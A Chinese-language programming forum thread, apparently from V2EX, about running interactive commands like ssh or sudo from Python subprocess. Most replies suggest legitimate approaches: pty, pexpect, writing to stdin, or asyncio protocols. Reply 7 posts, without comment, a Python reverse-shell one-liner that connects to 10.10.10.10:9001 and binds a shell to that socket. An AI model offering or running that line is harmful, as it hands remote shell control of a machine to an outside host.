运行单次命令的时候,一开始用的是 popen()
后来用的是 subprocess.Popen('/bin/sh', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT),因为这样可以获取上下文。 (例如 export a=5, echo a)
但是这样还是运行不了 ssh 或者 sudo su 等有交互式的命令,有什么好的方法可以解决吗
( PS: 我知道有 ssh 或者 sudo 的附带密码方案,但是这样解决不了所有的交互式问题)
1
cxtrinityy 2022-10-16 14:40:17 +08:00
import pty;pty.spawn("/bin/sh")
|
2
cxtrinityy 2022-10-16 14:41:34 +08:00
@cxtrinityy 可能理解错了, 请忽略
|
3
bantianys 2022-10-16 15:55:48 +08:00
pexpect 这个模块能满足需求吗?
|
4
LindsayZhou 2022-10-16 16:03:33 +08:00
如果你是要手动敲,stdin 参数可以用 sys.stdin 。
如果你是要自动输,我记得返回的对象有个 stdin 属性可以往里写东西。 如果你要是用 asyncio 包,还可以自己继承 Protocol ,重写 pipe_data_received 方法。这个没什么文档,你要翻 py 源码。 |
5
LindsayZhou 2022-10-16 16:11:14 +08:00 1
# 4
关于自动响应。 如果你感兴趣,我的代码里是用的重写 SubprocssProtocol 的方式: https://git.sr.ht/~lindsay/poke/tree/master/item/poke/context.py 入口是 Context.shell 函数,Watcher 对象是一个简单的包装,只有用来匹配的正则,上次匹配位置(避免重复匹配),自动响应文本。 invoke 包里也有一个 responder 类,不过它的实现方法更麻烦,好像另外起了一个线程来监听输出。 |
6
leonshaw 2022-10-16 16:28:27 +08:00
开个 pty ,slave 给到子进程,master 上读写
|
7
jindom 2022-10-17 09:49:43 +08:00
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
|